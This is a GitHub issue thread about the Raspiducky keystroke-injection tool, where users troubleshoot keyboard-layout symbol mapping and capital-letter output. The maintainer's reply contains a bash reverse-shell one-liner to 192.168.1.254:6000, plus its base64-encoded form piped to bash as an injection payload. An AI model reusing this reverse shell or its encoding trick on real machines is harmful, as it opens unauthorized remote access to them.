Raspiducky
Raspiducky copied to clipboard
unable to print ">" or "<" symbols
key code 60 and 62 do no print the expected symbols
For me at least, when told to print "/" or "|" it does not print the correct characters. Instead of "/" it prints "&" and instead of "|" it prints "¡". Also, "=" turns to ")" and "_" turns to "-"
did you try adjust your keyboard layout at /etc/raspiducky/keyboard_layouts/current.py?
Those symbols are well printed , looks like you only need to change it for your layout, by example, currently "|" is "right-alt 1", is good that combo for your layout? if not just change it
in the other hand, there is a workaround when a symbol can't be printed, just convert your string to base64, by example for run a reverse shell when you are unable to print < or > :
bash -i >& /dev/tcp/192.168.1.254/6000 0>&1
You can:
echo "bash -i >& /dev/tcp/192.168.1.254/6000 0>&1" | base64
And run that with raspiducky:
STRING echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjU0LzYwMDAgMD4mMQo= | base64 --decode | bash
Thanks. That fixed the problem. But for some reason capital letters print as lowercase. Any idea why?
hmmm, maybe...i have to take a look later , but i think you are right and that problem with capital letters needs to be fixed at Raspiducky
Thank you for the feedback
Upper case support is done :)